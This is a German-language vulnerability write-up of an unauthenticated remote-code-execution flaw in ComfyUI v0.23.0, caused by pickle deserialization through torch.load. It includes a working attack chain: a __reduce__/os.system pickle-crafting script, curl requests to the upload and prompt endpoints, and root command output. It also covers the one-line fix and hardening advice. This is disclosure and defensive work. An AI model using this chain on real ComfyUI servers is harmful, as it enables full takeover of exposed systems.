
Sicherheitsforschungslabor — nicht authentifizierte RCE über unsichere Deserialisierung in ComfyUI v0.23.0 (CVSS 9.8). Isolierte Docker-Umgebung, technische Analyse und Dokumentation.
Nur für Bildungszwecke. Nur gegen Systeme verwenden, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.
ComfyUI ist eine quelloffene knotenbasierte grafische Oberfläche zum lokalen Ausführen von KI-Bild- und Videogenerierungsmodellen. Sie ermöglicht es Benutzern, komplexe Generierungspipelines zu erstellen, indem sie Knoten visuell verbinden — jeder Knoten repräsentiert eine Operation wie das Laden eines Modells, das Kodieren von Textaufforderungen, das Sampling oder die Nachbearbeitung von Bildern. Seine Flexibilität und Unterstützung für eine breite Palette von Modellen (Stable Diffusion, Flux, HunyuanVideo und andere) haben es zu einem der am weitesten verbreiteten Werkzeuge in der KI-Generierungsgemeinschaft gemacht.
Die Anwendung stellt eine lokale HTTP-API auf Port 8188 bereit, über die das Frontend mit dem Backend kommuniziert, um Assets hochzuladen und Generierungsworkflows in die Warteschlange zu stellen. Obwohl für die lokale Einzelnutzung konzipiert, findet man ComfyUI-Instanzen häufig in internen Netzwerken oder direkt im Internet exponiert — in Cloud-GPU-Umgebungen, gemeinsamen Forschungssetups oder selbstgehosteten Kreativstudios — oft ohne zusätzliche Authentifizierungsschicht, was genau dem Bedrohungsmodell entspricht, auf das diese Schwachstelle abzielt.
Zum Zeitpunkt der Offenlegung hatte ComfyUI über 65.000 Sterne auf GitHub und ein aktives Ökosystem von benutzerdefinierten Knoten und Erweiterungen, von denen viele zusätzliche Angriffsfläche über die Kernanwendung hinaus einführen.
CVE-2026-68771 ist eine Schwachstelle der unsicheren Deserialisierung (CWE-502) in ComfyUI v0.23.0, die es einem nicht authentifizierten Remote-Angreifer ermöglicht, beliebigen Code auf dem Server auszuführen. Die Angriffskette kombiniert zwei nicht authentifizierte Endpunkte: zum Hochladen einer bösartigen Pickle-Datei und , um deren Deserialisierung über den -Knoten auszulösen.
POST /upload/imagePOST /promptLoadTrainingDataset| Feld | Wert |
|---|---|
| CVE | CVE-2026-68771 |
| CVSS 3.1 | 9.8 (Kritisch) |
| Vektor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 (Deserialisierung nicht vertrauenswürdiger Daten) |
| Betroffene Version | ComfyUI v0.23.0 (und frühere ohne den Fix) |
| Behobene Version | Commit 94ee49b1612824366a8631ea069b2a1fa5c73720 |
| Veröffentlicht | 31. Juli 2026 |
weights_only-Standards)POST /upload/image — server.py, Zeilen 450-453:
@routes.post("/upload/image")
async def upload_image(request):
post = await request.post()
return image_upload(post) # no session or token verification
POST /prompt — server.py, Zeilen 927-928:
@routes.post("/prompt")
async def post_prompt(request):
logging.info("got prompt")
json_data = await request.json()
# no session or token verification
...
self.prompt_queue.put((number, prompt_id, prompt, ...))
Keiner der beiden Endpunkte implementiert eine Zugriffskontrolle. Jeder HTTP-Client kann Dateien hochladen und Workflows ohne Authentifizierung in die Warteschlange stellen.
LoadTrainingDataset.execute()comfy_extras/nodes_dataset.py, Zeile 1568:
@classmethod
def execute(cls, folder_name):
dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
for shard_file in shard_files:
shard_path = os.path.join(dataset_dir, shard_file)
with open(shard_path, "rb") as f:
shard_data = torch.load(f) # ← VULNERABLE: weights_only not specified
torch.load() ohne weights_only=True verwendet Pythons Pickle-Protokoll, um die Datei zu deserialisieren. Pickle ist kein Datenformat — es ist ein Python-Objekt-Serialisierungsprotokoll, das die __reduce__-Methode eines beliebigen Objekts während der Deserialisierung ausführt und so die Ausführung beliebigen Codes ermöglicht.
Der Knoten verließ sich auf PyTorchs historischen Standardwert (weights_only=False) und war damit der einzige torch.load-Aufruf in der gesamten Codebasis ohne den expliziten Parameter. Der Rest der Codebasis (comfy/utils.py, comfy/sd1_clip.py) übergab ihn bereits korrekt.
Attacker (unauthenticated)
[0] CRAFT MALICIOUS PICKLE
└─ Serialize a Python object with __reduce__ returning (os.system, ("cmd",))
└─ PyTorch's torch.save() format wraps it in a valid .pkl container
└─ Output: shard_0000.pkl — valid filename pattern expected by LoadTrainingDataset
│
▼
[1] POST /upload/image
└─ Upload shard_0000.pkl (pickle with malicious __reduce__)
└─ Parameters: type=output, subfolder=cve_test
└─ Response: 200 OK {"name":"shard_0000.pkl", ...}
└─ File lands at: /opt/comfyui/output/cve_test/shard_0000.pkl
│
▼
[2] POST /prompt
└─ JSON workflow with LoadTrainingDataset node
└─ folder_name: "cve_test" → points to the folder containing the uploaded .pkl
└─ Response: 200 OK {"prompt_id": "...", "node_errors": {}}
│
▼
[3] LoadTrainingDataset.execute()
└─ Locates shard_0000.pkl in the directory
└─ torch.load(f) → deserializes the pickle
└─ __reduce__ executes: os.system("id > /tmp/pwned.txt")
│
▼
[4] RCE as root
└─ uid=0(root) gid=0(root) groups=0(root)
Die Payload nutzt Pythons Pickle-__reduce__-Protokoll aus. Wenn torch.load() die Datei deserialisiert, instanziiert Python das Objekt, indem es das von __reduce__ zurückgegebene Callable aufruft und so den vom Angreifer kontrollierten Befehl ausführt, bevor irgendeine Anwendungslogik läuft.
Der Dateiname muss dem Muster shard_*.pkl entsprechen — fest codiert in LoadTrainingDataset.execute() als Dateierkennungsfilter:
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
pickle_craft.py:
class Exploit:
def __reduce__(self):
return (os.system, (args.cmd,))
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"
Ausgabe:
[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image
curl -s -X POST http://127.0.0.1:8188/upload/image \
-F "image=@shard_0000.pkl;type=application/octet-stream" \
-F "type=output" \
-F "subfolder=cve_test"
Antwort:
{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}
HTTP 200 ohne Token, ohne Session, ohne spezielle Header.
curl -s -X POST http://127.0.0.1:8188/prompt \
-H "Content-Type: application/json" \
-d '{
"prompt": {
"1": {
"class_type": "LoadTrainingDataset",
"inputs": { "folder_name": "cve_test" }
},
"2": {
"class_type": "SaveTrainingDataset",
"inputs": {
"latents": ["1", 0],
"conditioning": ["1", 1],
"folder_name": "cve_test_out",
"shard_size": 1000
}
}
}
}'
Antwort:
{"prompt_id": "1dbf8fd8-c149-41b3-a839-935cb2d408b4", "number": 1, "node_errors": {}}
root@73df6d3d11eb:/opt/comfyui# cat /tmp/pwned.txt
uid=0(root) gid=0(root) groups=0(root)
Datei: comfy_extras/nodes_dataset.py
Autor: Matt Miller
Datum: 18. Juni 2026
PR: #14543
- shard_data = torch.load(f)
+ shard_data = torch.load(f, weights_only=True)
Ein einziger Parameter. weights_only=True weist PyTorch an, einen eingeschränkten Deserialisierer zu verwenden, der nur Tensoren und Python-Primitivtypen akzeptiert und jedes beliebige Objekt mit __reduce__ ablehnt.
Die Commit-Nachricht fasst es klar zusammen:
„LoadTrainingDataset war der einzige torch.load-Aufruf in der Codebasis ohne weights_only=True; comfy/utils.py und comfy/sd1_clip.py übergeben es bereits. Neuere PyTorch-Versionen verwenden standardmäßig weights_only=True, daher ist dies Defense-in-Depth für Installationen, die auf ältere PyTorch-Versionen festgelegt sind."
Hinweis zur PyTorch-Version: Ab PyTorch 2.6 änderte sich der Standardwert von weights_only von False zu True, was die Schwachstelle auf modernen PyTorch-Installationen auch ohne den Code-Fix entschärft. Die CVE betrifft insbesondere Installationen mit PyTorch < 2.6, was zum Zeitpunkt der Veröffentlichung im Juli 2026 die typische Produktionsumgebung war.
Aktualisieren Sie ComfyUI auf Commit 94ee49b oder später. Eine Zeile Code.
1. Authentifizierung an API-Endpunkten
ComfyUI ist für die lokale Nutzung konzipiert. Wenn es in einem Netzwerk exponiert wird, muss es durch einen Reverse-Proxy (nginx/Caddy) mit Basic Authentication oder durch Verwendung des --multi-user-Flags mit ordnungsgemäßer Session-Verwaltung geschützt werden.
2. ComfyUI niemals direkt im Internet exponieren
Das Anwendungsdesign geht von einer vertrauenswürdigen lokalen Umgebung aus. Der CVSS-Wert von 9.8 spiegelt das vollständige Fehlen von Zugriffskontrollen auf Anwendungsebene wider.
3. Dateitypvalidierung beim Upload
Der /upload/image-Endpunkt akzeptiert jede Dateiendung, einschließlich .pkl. Er sollte Content-Type und Endung gegen eine Whitelist tatsächlicher Bildformate validieren.
torch.load-Aufrufe hatten ihn bereits) deutet darauf hin, dass dieser Knoten ohne Sicherheitsüberprüfung hinzugefügt wurde.weights_only-Standard zu ändern; der verwundbare Code existierte während dieses gesamten Zeitraums.Analyse in einer isolierten Umgebung zu Bildungszwecken durchgeführt. Labor nach der Dokumentation zerstört.